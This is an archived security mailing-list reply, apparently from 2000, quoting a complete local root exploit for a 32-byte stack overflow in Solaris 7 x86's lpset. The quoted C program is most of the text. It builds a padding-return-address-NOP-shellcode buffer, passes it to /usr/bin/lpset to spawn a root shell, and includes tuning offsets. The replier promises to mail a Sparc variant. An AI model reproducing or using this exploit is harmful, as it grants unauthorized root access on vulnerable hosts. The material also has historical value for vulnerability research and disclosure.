Re: Solaris 7 x86 lpset exploit.

[llevier () ARGOSNET COM (Laurent LEVIER)]

Cheers,

Also available on multiple sites (technotronic, Argosnet, rootshell, ...) since a very long time.

As said previously, will mail the Sparc version

Laurent LEVIER
IT Systems & Networks, Unix System Engineer
Security Specialist

Argosnet Security Server : http://www.Argosnet.com
"Le Veilleur Technologique", "The Technology Watcher"

At 15:24 24/04/00 +0000, Theodor Ragnar Gislason wrote:
> Solaris 7 x86 /usr/bin/lpset overflow, there is a small overflow(32 bytes)
> in lpset which will yield root access if properly exploited.
>
> There is a sparc version avail for this bug, the bug was discovered by
> duke some time ago.
>
> I am releasing this exploit because of a copy-cat exploit on hack.co.za.
>
> For this exploit we use AAAA,RET,NOP,CODE.
>
> /* 
>  *
>  * solaris 2.7 lpset local exploit, i386.
>  * discovered by: duke
>  * not the same as on bt.
>  * if exploit dosen´t work try offset from 300-450
>  *
>  * greets: duke, #!ADM, #!security.is, #hax
>  *
>  * DiGiT - teddi () linux is
>  *
> */
>
>
> #include <unistd.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
>
> char shellcode[] =
>  "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
>  "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
>  "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
>  "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
>  "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
>  "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
>
> long get_esp() { __asm__("movl %esp,%eax"); }
>
> int main (int argc, char *argv[]) {
>
>     long offset=410;
>     int nop=64;
>     int gab=40;
>     long addr;
>     char buffer[210];
>     int i, a, b;
>
> if (argc > 1) offset = strtol(argv[1], NULL, 0);
> if (argc > 2) gab = strtol(argv[2], NULL, 0);
> if (argc > 3) nop = strtol(argv[2], NULL, 0);
>
>    for (a = 0; a <gab; a++)
>         buffer[a] = 'A';
>
>   addr = get_esp() + offset;
>
>   buffer[a++] = addr & 0x000000ff;
>   buffer[a++] = (addr & 0x0000ff00) >> 8;
>   buffer[a++] = (addr & 0x00ff0000) >> 16;
>   buffer[a++] = (addr & 0xff000000) >> 24;
>
>   for ( ; a < nop; a++)
>     buffer[a] = 0x90;
>
>   for (b = 0; b < strlen(shellcode); b++, a++)
>     buffer[a] = shellcode[b];
>
>   buffer[strlen(buffer)] = '\0';
>
>         printf("addr = 0x%x\n", addr);
>         execl("/usr/bin/lpset", "lpset", "-n", "fns", "-r", buffer,"digit", NULL);
>
> }